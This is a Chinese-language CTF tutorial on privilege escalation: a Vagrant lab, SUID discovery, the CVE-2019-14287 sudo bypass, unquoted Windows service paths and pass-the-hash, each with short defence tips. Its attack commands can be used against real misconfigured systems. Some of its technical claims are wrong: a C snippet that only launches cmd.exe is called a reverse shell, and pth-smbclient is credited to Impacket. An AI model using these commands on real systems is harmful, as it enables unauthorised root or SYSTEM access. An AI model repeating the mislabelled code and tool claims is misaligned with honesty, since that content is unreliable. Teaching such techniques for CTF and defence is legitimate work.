0x01 权限提升的秘密

在系统攻防中,权限提升是攻击者必须掌握的技能之一。简单来说,权限提升就是在目标系统中,从一个低权限账户,获取更高权限的访问能力。这样的操作能够让攻击者从最初的入侵点,进一步控制整个系统甚至整个网络。对于安全攻防中的CTF比赛选手来说,理解权限提升的原理和技术是制胜关键。

权限提升通常分为两类:纵向提升横向提升。纵向提升指的是从一个普通用户提升到管理员或root权限,而横向提升指的是在同一权限级别内,通过不同账户进行横向移动。本文将详细探讨这两类权限提升技术,并提供一些实战中的使用技巧。

环境搭建:练习的舞台

在深入探讨之前,有必要搭建一个安全的实验环境。我们将使用VirtualBoxVagrant来创建一个可重复的实验环境。这套环境将包含多个虚拟机,如Kali Linux、Ubuntu Server和Windows Server,以便模拟不同的权限提升场景。

首先,安装VirtualBox和Vagrant,并在安装完毕后创建一个新的Vagrantfile:

<pre><code class="language-bash">mkdir vagrant-lab cd vagrant-lab vagrant init hashicorp/bionic64</code></pre>

黑客示意图

编辑Vagrantfile,添加多台虚拟机配置:

<pre><code class="language-ruby">Vagrant.configure(&quot;2&quot;) do |config| config.vm.define &quot;kali&quot; do |kali| kali.vm.box = &quot;kalilinux/rolling&quot; kali.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; end

config.vm.define &quot;ubuntu&quot; do |ubuntu| ubuntu.vm.box = &quot;ubuntu/bionic64&quot; ubuntu.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; end

config.vm.define &quot;windows&quot; do |windows| windows.vm.box = &quot;peru/windows-server-2016-standard-x64-eval&quot; windows.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; end end</code></pre>

启动虚拟机:

<pre><code class="language-bash">vagrant up</code></pre>

通过SSH连接到虚拟机:

<pre><code class="language-bash">vagrant ssh kali</code></pre>

通过这样的环境,我们可以进行各种权限提升的实验而不会影响真实的系统。

初探提权:Linux下的Exploit

漏洞成因:SUID程序

在Linux系统中,SUID是个重要的权限标识。拥有SUID位的程序,在执行时会以程序所有者的权限运行,而不是调用者的权限。这为权限提升提供了绝佳的切入点,尤其是当SUID程序存在漏洞时。

黑客示意图

查找系统中所有的SUID程序:

<pre><code class="language-bash">find / -perm -4000 2&gt;/dev/null</code></pre>

针对某些特定的SUID程序,可以利用已知漏洞进行权限提升。比如,有一个经典的提权漏洞CVE-2019-14287,影响了Linux上的某些版本的sudo命令。

漏洞利用:CVE-2019-14287

假设当前用户可以通过sudo以root身份执行命令,但sudoers文件将root身份的执行限制在某个命令上,我们可以绕过这个限制来提权。

POC代码如下:

<pre><code class="language-bash"># 不含限制的命令 sudo -u#-1 /bin/bash</code></pre>

执行后,我们将获得root权限的shell。

实战经验:应对与防御

加强SUID程序的管理,定期检查并限制不必要的SUID标记。此外,及时更新系统补丁,以免被已知的漏洞所利用。

Windows世界的提权技艺

攻击原理:Unquoted Service Path

Windows上的服务路径如果未被引号包裹,并且路径中存在空格,攻击者可以利用这种配置错误,通过在路径中放置恶意程序来获得系统权限。

漏洞利用:Unquoted Service Path

黑客示意图

首先,我们需要查找未加引号的服务路径:

<pre><code class="language-powershell">Get-WmiObject win32_service | Select-Object DisplayName, PathName | Where-Object {$_.PathName -notlike &#039;&quot;*&#039;} | Format-Table -AutoSize</code></pre>

如果服务路径中存在空格且无引号包围,攻击者可以在服务路径的某个位置放置恶意可执行文件,并诱使服务以更高权限运行该文件。

绕过与免杀:构造恶意程序

构建一个简单的反弹shell作为示例:

<pre><code class="language-c">#include &lt;windows.h&gt;

int main() { system(&quot;cmd.exe&quot;); return 0; }</code></pre>

编译后,将其放置于未加引号路径的首个空格前的目录中,并重启服务。

防御措施:路径规范化

确保所有服务路径都用引号包裹,并定期扫描和修复系统配置。

远程提权:横向移动的艺术

原理分析:Pass-the-Hash

在Windows网络中,凭借某个用户的hash值便可以在网络中进行身份验证,而无需知道明文密码。这为攻击者提供了从一个机器移动到另一个机器的路径。

实战演示:Impacket工具集

Impacket是一套Python工具集,提供了多个用于Windows网络的攻击链工具。我们将使用其中的pth-smbclient试图在不同机器间横向移动。

安装Impacket:

<pre><code class="language-bash">pip install impacket</code></pre>

使用Pass-the-Hash技术获取远程shell:

<pre><code class="language-bash">pth-smbclient -hashes &lt;LMHASH&gt;:&lt;NTHASH&gt; &lt;domain&gt;/&lt;user&gt;@&lt;target-ip&gt;</code></pre>

防御技巧:启用终端保护

黑客示意图

通过WMI禁用不必要的服务,限制用户的过高权限,使用强密码策略,并定期更换密码。

总结:实战中的提权经验

在CTF比赛中,权限提升总是让人兴奋的环节之一。结合前述的技术和环境,我建议:

  1. 多动手操作:理论与实践结合是精通这门技艺的唯一途径。
  2. 持续学习:权限提升的技术日新月异,保持对最新漏洞和技术的关注尤为重要。
  3. 经验反思:每次练习后,都仔细分析成功或失败的原因,形成自己的解题思路。

这篇文章只是权限提升的冰山一角,期待更多的实践机会来加深理解。愿大家在安全学习的道路上,走得更远,学得更深。